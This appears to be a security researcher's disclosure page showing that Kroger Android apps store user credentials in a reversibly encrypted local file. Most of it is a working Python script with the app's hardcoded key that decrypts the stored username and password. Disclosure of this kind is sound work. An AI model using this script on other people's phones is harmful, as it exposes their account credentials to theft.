I tested all the Kroger apps listed below, and they all stored credentials in the same insecure way.
Using Android Debug Bridge, I connected to the phone and retrieved the locally stored credentials as shown below.
The credentials are stored in an encrypted form, as shown below.
This is the #2 most important security vunerability on mobile devices, according to OWASP.
If a developer is forced to store a password locally, there are far better options, such as the Android Keystore. The Android Keystore can be breached on a rooted phone, so the app should test for this, and refuse to run on a rooted phone.
The remainder of this page merely proves this simple point by explicitly reverse-engineering the encryption used by Kroger, and making a simple Python script that decrypts the password.
Here's the script recovering credentials from the Krogers app:
from Crypto.Cipher import AES
import pbkdf2
infile = raw_input("Input file (from shared_prefs/com.kroger.mobile.xml): [com.kroger.mobile.xml] ")
if infile == '':
infile = 'com.kroger.mobile.xml'
with open(infile) as f:
content = f.readlines()
content = [x.strip() for x in content]
oneline = ''
for line in content:
oneline += line
print
print "Here's the data the app stores on your phone:"
print
s1 = ""
d1 = oneline.find(s1)
d2 = oneline.find(" ", d1)
cred = oneline[d1 + len(s1) : d2]
print "CREDENTIALS_STORE_BASIC_AUTH_TYPE: ", cred
d1 = cred.find(";")
blob1 = cred[0:d1-4]
d2 = cred.find(";", d1+1)
d3 = cred.find(";", d2+1)
blob2 = cred[d1+2:d2-4]
blob3 = cred[d2+2:d3-4]
# print "Blob1 ", blob1
# print "Blob2 ", blob2
# print "Blob3 ", blob3
print
print "Decrypting it yields:"
print
salt = blob1.decode("base64")
iv = blob2.decode("base64")
ciphertext = blob3.decode("base64")
pw = '64BCE401-8A76-4B07-BB03-F64A1F36F3D8'
secret_key = pbkdf2.PBKDF2(pw, salt, 2500).read(32)
n = len(iv)
iv = iv[n-16:n]
cipher = AES.new(secret_key, AES.MODE_CBC, iv)
basic = cipher.decrypt(ciphertext)
# print "Basic: ", basic
n = basic.find(";")
username = basic[0:n]
password = basic [n+1:]
# print "Username: ", username
# print "Password: ", password
print "Username: ", username.decode("base64")
print "Password: ", password.decode("base64")
I tested this version:
The app still stores the same data on the phone, but the delimiters between the fields have been changed. The previous error, URL-encoding line feeds, has been corrected.
A trivial update to the Python script results in the same result: the password is easily recovered from the data stored on the phone.